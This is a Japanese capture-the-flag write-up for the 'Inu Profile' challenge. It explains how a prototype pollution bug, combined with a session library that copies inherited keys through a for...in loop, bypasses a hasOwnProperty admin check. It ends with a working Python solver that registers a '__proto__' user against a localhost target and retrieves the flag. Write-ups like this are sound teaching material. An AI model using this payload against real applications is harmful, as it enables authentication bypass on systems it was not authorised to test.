Inu Profile (Daily Alpacahack B-SIDE) - writeup

JA

Inu Profileを解いている際に、面白い挙動を見つけたので書き残しておきます。
作者様の想定解をご覧になってからお読みください。

方針

以下の箇所をご覧ください。

app.get('/admin', async (req, res) => {
    const { username } = req.session;
    if (!req.session.hasOwnProperty('username') || username !== 'admin') {
        return res.send({ 'message': 'you are not an admin...' });
    }

    return res.send({ 'message': `Congratulations! The flag is: ${FLAG}` });
});

このconst { username } = req.session;の箇所について、Prototype pollutionを利用してusername"admin"にすることが可能です。しかし、req.session.hasOwnProperty('username')というチェックが行われているため、Prototype pollutionをで"admin"となってしまったかを検出しているように思われます。

しかしながら、このチェックは条件によっては正しく動きません。具体的には、すでにCookieにセッションIDが保存されており、セッションIDからsessionオブジェクトを再構成する際に、req.session.hasOwnProperty('username')が真となるように構成されてしまうからです。

しかし、なぜ?

この挙動はたまたま見つけたのですが、考えてみると少し不思議です。Prototypeチェーン上の内の全てのフィールドがsessionオブジェクトから直接参照されるということなのですが、具体的にどのような処理が行われてこうなるのでしょうか。

関係するコードはここにありました。

if (prevSession) {
    // Copy over values from the previous session
    for (const key in prevSession) {
    (
        key !== 'cookie' &&
        key !== 'sessionId' &&
        key !== 'encryptedSessionId'
    ) && (this[key] = prevSession[key])
    }
}

このようにfor文でfor(const key in ...)のようにすると、Prototype pollutionで汚染された値も列挙されてしまうようです。従って、req.session.usernamesessionに直接紐づく値になるんですね。

ソルバー

import requests

URL = "http://localhost:3000/"

r = requests.post(f"{URL}register", json={
    "username": "__proto__",
    "profile": {
        "username": "admin",
    },
    "password": "foobar"
})
print(r.text)

s = requests.session()
r = s.get(f"{URL}")
r = s.get(f"{URL}admin")
print(r.text)

# Alpaca{the_best_dog_in_the_world_is_custom-kun}